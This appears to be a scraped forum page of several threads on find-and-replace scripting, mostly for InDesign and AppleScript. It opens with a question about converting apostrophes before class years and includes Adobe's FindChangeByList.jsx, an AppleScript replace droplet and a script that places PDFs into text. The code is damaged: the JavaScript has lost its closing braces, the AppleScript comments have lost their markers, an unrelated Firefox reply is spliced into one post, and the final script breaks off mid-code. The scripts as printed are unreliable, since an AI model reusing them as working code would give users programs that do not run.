Complicated find/replace with FindChangeByList
Hello! So in my school paper, we typically end everyones name with a right-single-quote and the two numerals denoting their class year. By right-single-quote, I mean the thing you get by pressing CMD+OPT+] on a Mac, although I'm going to use an apostrophe, somewhat confusingly, on this post since I'm currently on Linux
For example, someone's name would appear as: John Doe '13 (only with the right quote...)
OK so I want to use FindChangeByList to replace instances of people just typing an apostrophe with the correct right single quote. I know how to search for this: '^9^9 (or would I want ^'^9^9 ?). But the replacing is difficult. I can't just replace with ^]^9^9 because, somewhat logically, you can't use wildcards in the Replace With field. So I can't tell the script to put next to the right single quote the same numbers it found next to the apostrophe.
How would I do this with this script? Or is it beyond the scope of this script? Thanks.
Umm, Dave, why don't you ask your colleagues who are like just down the hall?
This isn't a scripting question. I think you'll find several of your machines already have a saved GREP query that does this. You certainly can use wildcards in the replace field.
Similar Messages
-
MS Word crashes when I do find/replace with the OS X 10.5.6
Does anyone know what I can do about MS Word crashing when I do a find and/or replace in a document? It happens constantly. The interesting thing is that is doesn't occur every single time I do find/replace but the SECOND time I use the feature. The only way I can manage to avoid the crash is to do find/replace, then exit out of the dialog box, and then open it up again. If I do a find/replace once and then continue using the same dialog box, Word crashes. Also, find/replace doesn't work most of the time.
This never happened when I was using Word with my older OS.
Help, please!!!
Many thanks.Hmm...what about deleting the MS Word preferences? Does excel crash as well when doing the same function?
To delete the preference put this in spotlight:
com.microsoft.Word.plist
Move it to the desktop, restart and see if the problem persists.
It might be another preference that is the source of the problem. -
How do I 'Find & Replace' with control characters - paragraph, carriage return, tab
In Pages 4.3 (Pages '09) I could insert special characters into the Find & Replace fields. It was great. Excellent way to clean up & recover text from a pdf or html.
In Pages 5.2 that capability seems to be gone. When I turn on the special characters [Show Invisibles - shift-cmd-I], I can highlight said invisible, copy it, then paste it into the Find&Replace field. Nope. It goes in as a space, and the Find command only finds spaces. Not the invisible that I was looking for.
This was a major feature for me, folks. Much better than Word's approach. Now it is gone (I fear), and the Find & Replace is worse than Word's.
How can I recover/attain this feature?I have struggled to find this "feature" for a while.
It CANNOT be that Apple stripped out a core capability of even a basic text editor.
Apple, a reply here because this is a F%$#$%^ joke if true. -
Find Replace from Textfile with regex
Hello.
I'm wondering if anyone knows about an existing script that does a find/replace by list like the script "FindChangeByList.jsx" that comes with every InDesign installation.
This consists of tow parts, the script itself with the functionality and a simple textfile where you have simple one-liners capable of find/replace with regex.
the Textfile:
//FindChangeList.txt
//A support file for the InDesign CS4 JavaScript FindChangeByList.jsx
//This data file is tab-delimited, with carriage returns separating records.
//The format of each record in the file is:
//findType<tab>findProperties<tab>changeProperties<tab>findChangeOptions<tab>description
//Where:
//<tab> is a tab character
//findType is "text", "grep", or "glyph" (this sets the type of find/change operation to use).
//findProperties is a properties record (as text) of the find preferences.
//changeProperties is a properties record (as text) of the change preferences.
//findChangeOptions is a properties record (as text) of the find/change options.
//description is a description of the find/change operation
//Very simple example:
//text {findWhat:"--"} {changeTo:"^_"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all double dashes and replace with an em dash.
//More complex example:
//text {findWhat:"^9^9.^9^9"} {appliedCharacterStyle:"price"} {include footnotes:true, include master pages:true, include hidden layers:true, whole word:false} Find $10.00 to $99.99 and apply the character style "price".
//All InDesign search metacharacters are allowed in the "findWhat" and "changeTo" properties for findTextPreferences and changeTextPreferences.
//If you enter backslashes in the findWhat property of the findGrepPreferences object, they must be "escaped"
//as shown in the example below:
//{findWhat:"\\s+"}
grep {findWhat:" +"} {changeTo:" "} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all double spaces and replace with single spaces.
grep {findWhat:"\r "} {changeTo:"\r"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all returns followed by a space And replace with single returns.
grep {findWhat:" \r"} {changeTo:"\r"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all returns followed by a space and replace with single returns.
grep {findWhat:"\t\t+"} {changeTo:"\t"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all double tab characters and replace with single tab characters.
grep {findWhat:"\r\t"} {changeTo:"\r"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all returns followed by a tab character and replace with single returns.
grep {findWhat:"\t\r"} {changeTo:"\r"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all returns followed by a tab character and replace with single returns.
grep {findWhat:"\r\r+"} {changeTo:"\r"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all double returns and replace with single returns.
text {findWhat:" - "} {changeTo:"^="} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all space-dash-space and replace with an en dash.
text {findWhat:"--"} {changeTo:"^_"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all dash-dash and replace with an em dash.
The script:
//FindChangeByList.jsx
//An InDesign CS5.5 JavaScript
@@@BUILDINFO@@@ "FindChangeByList.jsx" 3.0.0 15 December 2009
//Loads a series of tab-delimited strings from a text file, then performs a series
//of find/change operations based on the strings read from the file.
//The data file is tab-delimited, with carriage returns separating records.
//The format of each record in the file is:
//findType<tab>findProperties<tab>changeProperties<tab>findChangeOptions<tab>description
//Where:
//<tab> is a tab character
//findType is "text", "grep", or "glyph" (this sets the type of find/change operation to use).
//findProperties is a properties record (as text) of the find preferences.
//changeProperties is a properties record (as text) of the change preferences.
//findChangeOptions is a properties record (as text) of the find/change options.
//description is a description of the find/change operation
//Very simple example:
//text {findWhat:"--"} {changeTo:"^_"} {includeFootnotes:true, includeMasterPages:true, includeHiddenLayers:true, wholeWord:false} Find all double dashes and replace with an em dash.
//More complex example:
//text {findWhat:"^9^9.^9^9"} {appliedCharacterStyle:"price"} {include footnotes:true, include master pages:true, include hidden layers:true, whole word:false} Find $10.00 to $99.99 and apply the character style "price".
//All InDesign search metacharacters are allowed in the "findWhat" and "changeTo" properties for findTextPreferences and changeTextPreferences.
//If you enter backslashes in the findWhat property of the findGrepPreferences object, they must be "escaped"
//as shown in the example below:
//{findWhat:"\\s+"}
//For more on InDesign scripting, go to http://www.adobe.com/products/indesign/scripting/index.html
//or visit the InDesign Scripting User to User forum at http://www.adobeforums.com
main();
function main(){
var myObject;
//Make certain that user interaction (display of dialogs, etc.) is turned on.
app.scriptPreferences.userInteractionLevel = UserInteractionLevels.interactWithAll;
if(app.documents.length > 0){
if(app.selection.length > 0){
switch(app.selection[0].constructor.name){
case "InsertionPoint":
case "Character":
case "Word":
case "TextStyleRange":
case "Line":
case "Paragraph":
case "TextColumn":
case "Text":
case "Cell":
case "Column":
case "Row":
case "Table":
myDisplayDialog();
break;
default:
//Something was selected, but it wasn't a text object, so search the document.
myFindChangeByList(app.documents.item(0));
else{
//Nothing was selected, so simply search the document.
myFindChangeByList(app.documents.item(0));
else{
alert("No documents are open. Please open a document and try again.");
function myDisplayDialog(){
var myObject;
var myDialog = app.dialogs.add({name:"FindChangeByList"});
with(myDialog.dialogColumns.add()){
with(dialogRows.add()){
with(dialogColumns.add()){
staticTexts.add({staticLabel:"Search Range:"});
var myRangeButtons = radiobuttonGroups.add();
with(myRangeButtons){
radiobuttonControls.add({staticLabel:"Document", checkedState:true});
radiobuttonControls.add({staticLabel:"Selected Story"});
if(app.selection[0].contents != ""){
radiobuttonControls.add({staticLabel:"Selection", checkedState:true});
var myResult = myDialog.show();
if(myResult == true){
switch(myRangeButtons.selectedButton){
case 0:
myObject = app.documents.item(0);
break;
case 1:
myObject = app.selection[0].parentStory;
break;
case 2:
myObject = app.selection[0];
break;
myDialog.destroy();
myFindChangeByList(myObject);
else{
myDialog.destroy();
function myFindChangeByList(myObject){
var myScriptFileName, myFindChangeFile, myFindChangeFileName, myScriptFile, myResult;
var myFindChangeArray, myFindPreferences, myChangePreferences, myFindLimit, myStory;
var myStartCharacter, myEndCharacter;
var myFindChangeFile = myFindFile("/FindChangeSupport/FindChangeList.txt")
if(myFindChangeFile != null){
myFindChangeFile = File(myFindChangeFile);
var myResult = myFindChangeFile.open("r", undefined, undefined);
if(myResult == true){
//Loop through the find/change operations.
do{
myLine = myFindChangeFile.readln();
//Ignore comment lines and blank lines.
if((myLine.substring(0,4)=="text")||(myLine.substring(0,4)=="grep")|| (myLine.substring(0,5)=="glyph")){
myFindChangeArray = myLine.split("\t");
//The first field in the line is the findType string.
myFindType = myFindChangeArray[0];
//The second field in the line is the FindPreferences string.
myFindPreferences = myFindChangeArray[1];
//The second field in the line is the ChangePreferences string.
myChangePreferences = myFindChangeArray[2];
//The fourth field is the range--used only by text find/change.
myFindChangeOptions = myFindChangeArray[3];
switch(myFindType){
case "text":
myFindText(myObject, myFindPreferences, myChangePreferences, myFindChangeOptions);
break;
case "grep":
myFindGrep(myObject, myFindPreferences, myChangePreferences, myFindChangeOptions);
break;
case "glyph":
myFindGlyph(myObject, myFindPreferences, myChangePreferences, myFindChangeOptions);
break;
} while(myFindChangeFile.eof == false);
myFindChangeFile.close();
function myFindText(myObject, myFindPreferences, myChangePreferences, myFindChangeOptions){
//Reset the find/change preferences before each search.
app.changeTextPreferences = NothingEnum.nothing;
app.findTextPreferences = NothingEnum.nothing;
var myString = "app.findTextPreferences.properties = "+ myFindPreferences + ";";
myString += "app.changeTextPreferences.properties = " + myChangePreferences + ";";
myString += "app.findChangeTextOptions.properties = " + myFindChangeOptions + ";";
app.doScript(myString, ScriptLanguage.javascript);
myFoundItems = myObject.changeText();
//Reset the find/change preferences after each search.
app.changeTextPreferences = NothingEnum.nothing;
app.findTextPreferences = NothingEnum.nothing;
function myFindGrep(myObject, myFindPreferences, myChangePreferences, myFindChangeOptions){
//Reset the find/change grep preferences before each search.
app.changeGrepPreferences = NothingEnum.nothing;
app.findGrepPreferences = NothingEnum.nothing;
var myString = "app.findGrepPreferences.properties = "+ myFindPreferences + ";";
myString += "app.changeGrepPreferences.properties = " + myChangePreferences + ";";
myString += "app.findChangeGrepOptions.properties = " + myFindChangeOptions + ";";
app.doScript(myString, ScriptLanguage.javascript);
var myFoundItems = myObject.changeGrep();
//Reset the find/change grep preferences after each search.
app.changeGrepPreferences = NothingEnum.nothing;
app.findGrepPreferences = NothingEnum.nothing;
function myFindGlyph(myObject, myFindPreferences, myChangePreferences, myFindChangeOptions){
//Reset the find/change glyph preferences before each search.
app.changeGlyphPreferences = NothingEnum.nothing;
app.findGlyphPreferences = NothingEnum.nothing;
var myString = "app.findGlyphPreferences.properties = "+ myFindPreferences + ";";
myString += "app.changeGlyphPreferences.properties = " + myChangePreferences + ";";
myString += "app.findChangeGlyphOptions.properties = " + myFindChangeOptions + ";";
app.doScript(myString, ScriptLanguage.javascript);
var myFoundItems = myObject.changeGlyph();
//Reset the find/change glyph preferences after each search.
app.changeGlyphPreferences = NothingEnum.nothing;
app.findGlyphPreferences = NothingEnum.nothing;
function myFindFile(myFilePath){
var myScriptFile = myGetScriptPath();
var myScriptFile = File(myScriptFile);
var myScriptFolder = myScriptFile.path;
myFilePath = myScriptFolder + myFilePath;
if(File(myFilePath).exists == false){
//Display a dialog.
myFilePath = File.openDialog("Choose the file containing your find/change list");
return myFilePath;
function myGetScriptPath(){
try{
myFile = app.activeScript;
catch(myError){
myFile = myError.fileName;
return myFile;
This is a very useful and easy to maintain script which even people who cant write scripts (but know how to use regex) can do complex search replace mass replacements.
Would love to find something like this for FrameMaker 12 (as i can't write scripts myself).
regards
danielI have visited that site. The first item in the external link says: "You can also configure Firefox to automatically search for text when you type any characters outside of a text field. When typing in a text field these characters should show up in the text field and not trigger the Quick Find bar. "
What I am looking for is the exact opposite. Once my first search is entered in the text box, and the info comes back, I want to start typing the next symbol, and have it automatically show up in the text box, not the Quick Find box. That is how it was working up until a couple of months ago. -
Using AppleScript with saved Find/Replace Queries
Hello all,
I have been trying to create a script with AppleScript to apply a sequence of pre-saved queries created in the find/replace dialog in InDesign CS5 to all open documents.
I am fairly new to AppleScript and I'm still learning, but this seems like a task it should be able to do? The queries are named 01, 02, 03 etc and I'd like to apply them in order to adjust the text formatting in all open documents.
Is this the best way to approach the problem or do I need to reproduce the queries within the script?
Many thanks in advance for any advice.Is this the best way to approach the problem or do I need to reproduce the queries within the script?
Putting them in the script is much more robust. Have you looked at the sample script FindChangebyList? -
Find and replace with multiple files and with a watch folder
I am trying to create a watch folder that uses red_menace script to:
1. Have a folder that receives multiple xml files that run the script one by one.
2. then move the files to an output folder.
I tried modifying the set TheFIle to choose file -- the original text file to:
with multiple selections allowed
But that doesn't seem to work. I know i'm missing a step. Any help is much appreciated!
Thanks!
The way i'd like to setup things is having an input folder on the desktop (or just have the application on the desktop and I can drag the files onto it), and let it do it's thing. Once it's done have it export the xml files into an output folder.
Here's what i got so far:
on open
set TheFIle to choose file -- the original text file
set TheFolder to ("Macintosh HD:Users:user1:Desktop:out") -- the folder for the output file
set TheName to (GetUniqueName for TheFIle from TheFolder) -- the name for the output file
set TheText to read TheFIle -- get the text to edit
set Originals to {"KPCALDATE", "KPCALEVENT", "KPCALDAY", "KPCALBODY", "obituaries name", "" & return & "</cstyle></pstyle>" & return & "<pstyle name=\"obituaries text\"><cstyle>", "<pstyle name=\"obituaries text\"><cstyle name=\"Graphics Bold leadin\" font=\"ADV AGBook-Medium 2\">", "<pstyle name=\"Recipe Ingredients\"><cstyle>", " .com", " .net", " .org", " .edu", "www .", "www. ", "Ho- nolulu", "<pstyle name=\"kicker 12\"><cstyle allcaps=\"1\">fashion news</cstyle><cstyle allcaps=\"1\">" & return & "</cstyle></pstyle>" & return & "", "<component name=\"Headline 1\" type=\"Headline\">" & return & "<header>" & return & "<field name=\"Component name\" type=\"string\" value=\"Headline 1\"/>" & return & "<field name=\"Component type\" type=\"popup\" value=\"Headline\"/>" & return & "</header>" & return & "<body>" & return & "<pstyle name=\"hed STANDARD 36\"><cstyle>", "<pstyle name=\"obituaries text\"><cstyle allcaps=\"1\">", "<pstyle name=\"obituaries text\"><cstyle name=\"Graphics Bold leadin\">", "<pstyle name=\"tagline\"><cstyle>-", "-", "
Per serving:", "<pstyle name=\"Titlebar - mini, red\"><cstyle allcaps=\"1\">NATION & World </cstyle><cstyle allcaps=\"1\">Report</cstyle><cstyle allcaps=\"1\">" & return & "</cstyle></pstyle>" & return & "", "</cstyle></pstyle>"} -- the terms that can be replaced
set Replacements to {"subhed", "subhed", "subhed", "Normal", "obituaries text", ", ", "<pstyle name=\"obituaries text\"><cstyle name=\"Graphics Bold leadin\" font=\"ADV AGBook-Medium 2\">", "<pstyle name=\"Recipe Ingredients\"><cstyle>
", ".com", ".net", ".org", ".edu", "www.", "www.", "Honolulu", "", "<component name=\"Headline1\" type=\"Headline\">" & return & "<header>" & return & "<field name=\"Component name\" type=\"string\" value=\"Headline1\"/>" & return & "<field name=\"Component type\" type=\"popup\" value=\"Headline\"/>" & return & "</header>" & return & "<body>" & return & "<pstyle name=\"hed STANDARD 27\"><cstyle>", "<pstyle name=\"obituaries text\"><cstyle allcaps=\"1\">", "<pstyle name=\"obituaries text\"><cstyle name=\"Graphics Bold leadin\">", "<pstyle name=\"tagline\"><cstyle>", " ", "
Per serving:", "","" & return & "</cstyle></pstyle>"} -- the replacement terms
repeat with AnItem from 1 to count Originals
set TheText to (replaceText of TheText from (item AnItem of Originals) to (item AnItem of Replacements))
end repeat
try -- write a new output file
tell application "Finder" to make new file at TheFolder with properties {name:TheName}
set OpenFile to open for access (result as alias) with write permission
write TheText to OpenFile starting at eof
close access OpenFile
on error errmess
try
log errmess
close access OpenFile
end try
end try
end open
to GetUniqueName for SomeFile from SomeFolder
check if SomeFile exists in SomeFolder, creating a new unique name if needed
parameters - SomeFile [mixed]: a source file path
SomeFolder [mixed]: a folder to check
returns [text]: a unique file name and extension
set {Counter, Divider} to {"00", "_"}
-- get the name and extension
set {name:TheName, name extension:TheExtension} to info for file (SomeFile as text)
if TheExtension is missing value then set TheExtension to ""
set TheName to text 1 thru -((count TheExtension) + 2) of TheName
set NewName to TheName & "." & TheExtension
tell application "System Events" to tell (get name of files of folder (SomeFolder as text))
repeat while it contains NewName
set Counter to text 2 thru -1 of ((100 + Counter + 1) as text) -- leading zero
set NewName to TheName & Divider & Counter & "." & TheExtension
end repeat
end tell
return NewName
end GetUniqueName
to EditItems of SomeItems given Title:TheTitle, Prompt:ThePrompt
displays a dialog for multiple item edit (note that a return is used between each edit item)
for each of the items in SomeItems, a line containing it's text is placed in the edit box
the number of items returned are padded or truncated to match the number of items in SomeItems
parameters - SomeItems [list]: a list of text items to edit
TheTitle [boolean/text]: use a default or the given dialog title
ThePrompt [boolean/text]: use a default or the given prompt text
returns [list]: a list of the edited items, or {} if error
set {TheItems, TheInput, TheCount} to {{}, {}, (count SomeItems)}
if TheCount is less than 1 then return {} -- error
if ThePrompt is in {true, false} then -- "with" or "without" Prompt
if ThePrompt then
set ThePrompt to "Edit the following items:" & return -- default
else
set ThePrompt to ""
end if
else -- fix up the given prompt a little
set ThePrompt to ThePrompt & return
end if
if TheTitle is in {true, false} then if TheTitle then -- "with" or "without" Title
set TheTitle to "Multiple Edit Dialog" -- default
else
set TheTitle to ""
end if
set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, return}
set {SomeItems, AppleScript's text item delimiters} to {SomeItems as text, TempTID}
set TheInput to paragraphs of text returned of (display dialog ThePrompt with title TheTitle default answer SomeItems)
repeat with AnItem from 1 to TheCount -- pad/truncate entered items
try
set the end of TheItems to (item AnItem of TheInput)
on error
set the end of TheItems to ""
end try
end repeat
return TheItems
end EditItems
to replaceText of SomeText from OldItem to NewItem
replace all occurances of OldItem with NewItem
parameters - SomeText [text]: the text containing the item(s) to change
OldItem [text]: the item to be replaced
NewItem [text]: the item to replace with
returns [text]: the text with the item(s) replaced
set SomeText to SomeText as Unicode text -- TID's are case insensitive with Unicode text
set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, OldItem}
set {ItemList, AppleScript's text item delimiters} to {text items of SomeText, NewItem}
set {SomeText, AppleScript's text item delimiters} to {ItemList as text, TempTID}
return SomeText
end replaceText
Message was edited by: gamebreakersWhen you use the open or adding folder items to handlers, you need to add the parameters for the file items passed to them.
I'll go ahead and post the applet/droplet version of my original script from the previous topic for reference:
<pre style="
font-family: Monaco, 'Courier New', Courier, monospace;
font-size: 10px;
margin: 0px;
padding: 5px;
border: 1px solid #000000;
width: 720px; height: 340px;
color: #000000;
background-color: #FFEE80;
overflow: auto;"
title="this text can be pasted into the Script Editor">
-- search and replace multiple items applet/droplet/folder action
-- the terms to replace - edit as needed
property EditableItems : {¬
"one", ¬
"two", ¬
"three", ¬
"four", ¬
"five", ¬
"six", ¬
"seven", ¬
"eight", ¬
"nine", ¬
"ten", ¬
"eleven", ¬
"twelve", ¬
"thirteen", ¬
"fourteen", ¬
"fifteen", ¬
"sixteen", ¬
"seventeen", ¬
"eighteen", ¬
"nineteen", ¬
"twenty"}
-- the folder for the output file(s) - change as needed
property TheFolder : (path to desktop)
property LastEditItems : EditableItems
on run
the applet/droplet was double-clicked
open (choose file with multiple selections allowed)
end run
on open TheItems
items were dropped onto the applet/droplet
parameters - TheItems [list]: a list of the items (aliases) dropped
returns nothing
repeat with AnItem in TheItems
ReplaceMultipleItems from AnItem
end repeat
end open
on adding folder items to this_folder after receiving these_items
folder action - items were added to a folder
parameters - this_folder [alias]: the folder added to
these_items [list]: a list if items (aliases) added
returns nothing
repeat with AnItem in these_items
ReplaceMultipleItems from AnItem
end repeat
end adding folder items to
to ReplaceMultipleItems from SomeFile
replace multiple text items in SomeFile
parameters - SomeFile [alias]: the file to replace items in
returns nothing
set TheName to (GetUniqueName for SomeFile from TheFolder) -- the name for the output file
set TheText to read SomeFile -- get the text to edit
set Originals to (choose from list EditableItems default items LastEditItems with prompt "Select the terms to replace:" with multiple selections allowed) -- the specific terms to replace
set LastEditItems to Originals
set Replacements to (EditItems of Originals with Title given Prompt:"Edit the following replacement terms:") -- the replacement terms
repeat with AnItem from 1 to count Originals
set TheText to (ReplaceText of TheText from (item AnItem of Originals) to (item AnItem of Replacements))
end repeat
try -- write a new output file
tell application "Finder" to make new file at TheFolder with properties {name:TheName}
set OpenFile to open for access (result as alias) with write permission
write TheText to OpenFile starting at eof
close access OpenFile
on error errmess
try
log errmess
close access OpenFile
end try
end try
end ReplaceMultipleItems
to GetUniqueName for SomeFile from SomeFolder
check if SomeFile exists in SomeFolder, creating a new unique name if needed
parameters - SomeFile [mixed]: a source file path
SomeFolder [mixed]: a folder to check
returns [text]: a unique file name and extension
set {Counter, Divider} to {"00", "_"}
-- get the name and extension
set {name:TheName, name extension:TheExtension} to info for file (SomeFile as text)
if TheExtension is in {missing value, ""} then
set TheExtension to ""
else
set TheExtension to "." & TheExtension
end if
set {NewName, TheExtension} to {TheName, (ChangeCase of TheExtension to "upper")}
set TheName to text 1 thru -((count TheExtension) + 1) of TheName
tell application "System Events" to tell (get name of files of folder (SomeFolder as text))
repeat while it contains NewName
set Counter to text 2 thru -1 of ((100 + Counter + 1) as text) -- leading zero
set NewName to TheName & Divider & Counter & TheExtension
end repeat
end tell
return NewName
end GetUniqueName
to EditItems of SomeItems given Title:TheTitle, Prompt:ThePrompt
displays a dialog for multiple item edit (note that a return is used between each edit item)
for each of the items in SomeItems, a line containing it's text is placed in the edit box
the number of items returned are padded or truncated to match the number of items in SomeItems
parameters - SomeItems [list]: a list of text items to edit
TheTitle [boolean/text]: use a default or the given dialog title
ThePrompt [boolean/text]: use a default or the given prompt text
returns [list]: a list of the edited items, or {} if error
set {TheItems, TheInput, TheCount} to {{}, {}, (count SomeItems)}
if TheCount is less than 1 then return {} -- error
if ThePrompt is in {true, false} then -- "with" or "without" Prompt
if ThePrompt then
set ThePrompt to "Edit the following items:" & return -- default
else
set ThePrompt to ""
end if
else -- fix up the given prompt a little
set ThePrompt to ThePrompt & return
end if
if TheTitle is in {true, false} then if TheTitle then -- "with" or "without" Title
set TheTitle to "Multiple Edit Dialog" -- default
else
set TheTitle to ""
end if
set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, return}
set {SomeItems, AppleScript's text item delimiters} to {SomeItems as text, TempTID}
set TheInput to paragraphs of text returned of (display dialog ThePrompt with title TheTitle default answer SomeItems)
repeat with AnItem from 1 to TheCount -- pad/truncate entered items
try
set the end of TheItems to (item AnItem of TheInput)
on error
set the end of TheItems to ""
end try
end repeat
return TheItems
end EditItems
to ReplaceText of SomeText from OldItem to NewItem
replace all occurances of OldItem with NewItem
parameters - SomeText [text]: the text containing the item(s) to change
OldItem [text]: the item to be replaced
NewItem [text]: the item to replace with
returns [text]: the text with the item(s) replaced
set SomeText to SomeText as text
if SomeText contains OldItem then
set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, OldItem}
try
set {ItemList, AppleScript's text item delimiters} to {text items of SomeText, NewItem}
set {SomeText, AppleScript's text item delimiters} to {ItemList as text, TempTID}
on error ErrorMessage number ErrorNumber -- oops
set AppleScript's text item delimiters to TempTID
error ErrorMessage number ErrorNumber
end try
end if
return SomeText
end ReplaceText
to ChangeCase of SomeText to CaseType
changes the case or capitalization of SomeText to the specified CaseType using Python
parameters - SomeText [text]: the text to change
CaseType [text]: the type of case desired:
"upper" = all uppercase text
"lower" = all lowercase text
"title" = uppercase character at start of each word, otherwise lowercase
"capitalize" = capitalize the first character of the text, otherwise lowercase
returns [text]: the changed text
set SomeText to SomeText as text
if CaseType is not in {"upper", "lower", "title", "capitalize"} then return SomeText
return (do shell script "/usr/bin/python -c \"import sys; print unicode(sys.argv[1], 'utf8')." & CaseType & "().encode('utf8')\" " & quoted form of SomeText)
end ChangeCase
</pre>
Edit: how does the choose from list dialog handle those big strings? I'm guessing not very well - is that why you avoided using them?
Message was edited by: red_menace -
Find text and replace with a pdf stored in the same folder
Hello,
I have a catalog that is updated every so often. I have written a script to find/replace the text from a .txt file. but i have a pdf that i want to insert that is part of it as well. Inside the .txt file i have the name of the document. and the pdf is stored inside the same folder as the original .indd and the .txt file.
can someone point me at some examples on how this could be done.
ThanksI use this script: it puts a txt in a text frame, check the overflow and find/replace some words with a pdf. Hope this is helpful.
Paolo
/************************FLOW************************************************
* This function looks for Overflows in the story and either resizes the *
* frame to the size of the margins (if necesary) or adds a new page and *
* a new frame, which is then linked to the previous frame.esizes the *
function flow(){
for(var i = 0; i < app.activeDocument.pages.count(); i++)
for(var b = 0; b < app.activeDocument.pages[i].textFrames.count(); b++)
if(app.activeDocument.pages[i].textFrames[b].overflows == true )
var currentPage = myDocument.pages[i];
var myPageNo = currentPage.name;
var currentFrame=currentPage.textFrames[b];
var e =currentFrame.geometricBounds[0];
var f =currentFrame.geometricBounds[1];
var g =currentFrame.geometricBounds[2];
var h =currentFrame.geometricBounds[3];
if(myPageNo %2==0){
var myMargins =currentPage.marginPreferences;
var a = currentPage.bounds[0]+myMargins.top;
var b = currentPage.bounds[1]+myMargins.right;
var c = currentPage.bounds[2]-myMargins.bottom;
var d = currentPage.bounds[3]-myMargins.left;
else{
var myMargins =currentPage.marginPreferences;
var a = currentPage.bounds[0]+myMargins.top;
var b = currentPage.bounds[1]+myMargins.left;
var c = currentPage.bounds[2]-myMargins.bottom;
var d = currentPage.bounds[3]-myMargins.right;
if (g < c)
currentFrame.geometricBounds = [a,b,c,d];
else if (g==c){
var newPage = myDocument.pages.add(LocationOptions.AFTER, currentPage);
currentPage = newPage;
myPageNo = currentPage.name;
if(myPageNo %2==0){
var myMargins =currentPage.marginPreferences;
var a = currentPage.bounds[0]+myMargins.top;
var b = currentPage.bounds[1]+myMargins.right;
var c = currentPage.bounds[2]-myMargins.bottom;
var d = currentPage.bounds[3]-myMargins.left;
var newFrame = currentPage.textFrames.add({geometricBounds:[a,b,c,d]});
newFrame.textFramePreferences.textColumnCount = 7;
newFrame.previousTextFrame = currentFrame;
else{
var myMargins =currentPage.marginPreferences;
var a = currentPage.bounds[0]+myMargins.top;
var b = currentPage.bounds[1]+myMargins.left;
var c = currentPage.bounds[2]-myMargins.bottom;
var d = currentPage.bounds[3]-myMargins.right;
var newFrame = currentPage.textFrames.add({geometricBounds:[a,b,c,d]});
newFrame.textFramePreferences.textColumnCount = 7;
newFrame.previousTextFrame = currentFrame;
//************************************END FLOW FUNCTION*********************************************
/*******************TextPlacer***************************
this script will add a text file in an existing text frame
Questo file deve essere copiato nella cartella Script di InDesign
function myGetBounds(myDocument, myPage){
var myPageWidth = myDocument.documentPreferences.pageWidth;
var myPageHeight = myDocument.documentPreferences.pageHeight
if(myPage.side == PageSideOptions.leftHand){
var myX2 = myPage.marginPreferences.left;
var myX1 = myPage.marginPreferences.right;
else{
var myX1 = myPage.marginPreferences.left;
var myX2 = myPage.marginPreferences.right;
var myY1 = myPage.marginPreferences.top;
var myX2 = myPageWidth - myX2;
var myY2 = myPageHeight - myPage.marginPreferences.bottom;
return [myY1, myX1, myY2, myX2];
/*******************ImagePlacer***************************
this script will addimages to the document by
substituting them with the name of the image file
between @s (file format included[@mypic.bmp@]),
selecting them from a specified file (see below)
and applying object styles to them, as well as
applying the right tab i necesary.
It then looks for overflows in the document. If an
overset is found, it will resize to margin size the
text frame and if overset continues, it will add a
new page and frame, which then will be linked
to the previous frame, allowing the story flow.
Questo file deve essere copiato nella cartella Script di InDesign
//Creates a new document using the specified document preset.
//Replace "myDocumentPreset" in the following line with the name
//of the document preset you want to use.
var myDocument = app.documents.add(true,app.documentPresets.item("Preset"));
//If the active document has not been saved (ever), save it.
if(app.activeDocument.saved == false){
//If you do not provide a file name, InDesign displays the Save dialog box.
app.activeDocument.save(new File("/Users/Paolo/Desktop/Documento.indd"));
function main()
var myDocument = app.documents.item(0);
var myPage = myDocument.pages.item(0);
var myTextFrame = myPage.textFrames.add({geometricBounds:myGetBounds(myDocument,myPage)});
myTextFrame.textFramePreferences.textColumnCount = 7;
myTextFrame.place(File("/Users/Paolo/Desktop/text.txt"));
//Place a text file in the text frame.
//Parameters for TextFrame.place():
//File as File object,
//[ShowingOptions as Boolean = False]
//You'll have to fill in your own file path.
//Define GREP search
var grepFind ="@@@.+@@@";
//Folders name where there are pdf, must be in the same place of the file
var myFiguresFolder = "testatine";
// Applied paragraph style
var myPStyle = myDocument.paragraphStyles.item("Paragraphstyle");
var NextPStyleCS = myDocument.paragraphStyles.item("Par_Style");
var NextPStyleEN = myDocument.paragraphStyles.item("Par_Style_en");
var NextPStyleDE = myDocument.paragraphStyles.item("Par_Style_de");
// Applied text style
var myCStyle = myDocument.characterStyles.item("text");
//Applied object style
var myOStyle = "";
var oStyle_1 = myDocument.objectStyles.item("Pictures");
var oStyle_2 = myDocument.objectStyles.item("Pictures");
var oStyle_3 = myDocument.objectStyles.item("Pictures");
//MEASUREMENTS
var maxWidth = 467; //Maximum width of an image
var maxHeight = 666; //Maximum Height of an image
var colWidth = 468; //Width of the main columb (340pt) + maximum Tab (128pt)
var maxTab = 0;
var xTab;
var xtTab;
var minTWidth = 340; //any image with a width below this will have the maximum Tab (maxTab) applied.
var PWidth; //Width of the Picture
var PHeight;//Picture Height
var myTotal;
//---------------------------------ALERTS---------------------------------\\
var notSaved = "Documento non salvato; devi prima salvare il documento";
var noFolder = "No such folder exists; "+myFiguresFolder;
var noImageMessage = "No Images were found";
var finished = " immagini sostituite"
//---------------------------------ALERTS---------------------------------\\
/************************END OF STORY*****************************************
* The object of this bit of programming is to add an empty paragraph break *
* at the end of the story, in order to make the actual script work in the case *
* that the LAST paragraph were a TABLE *
var findEnd_of_Story = "\\r(?=\\z)" //GREP for End of Story //
app.findGrepPreferences = NothingEnum.nothing; //
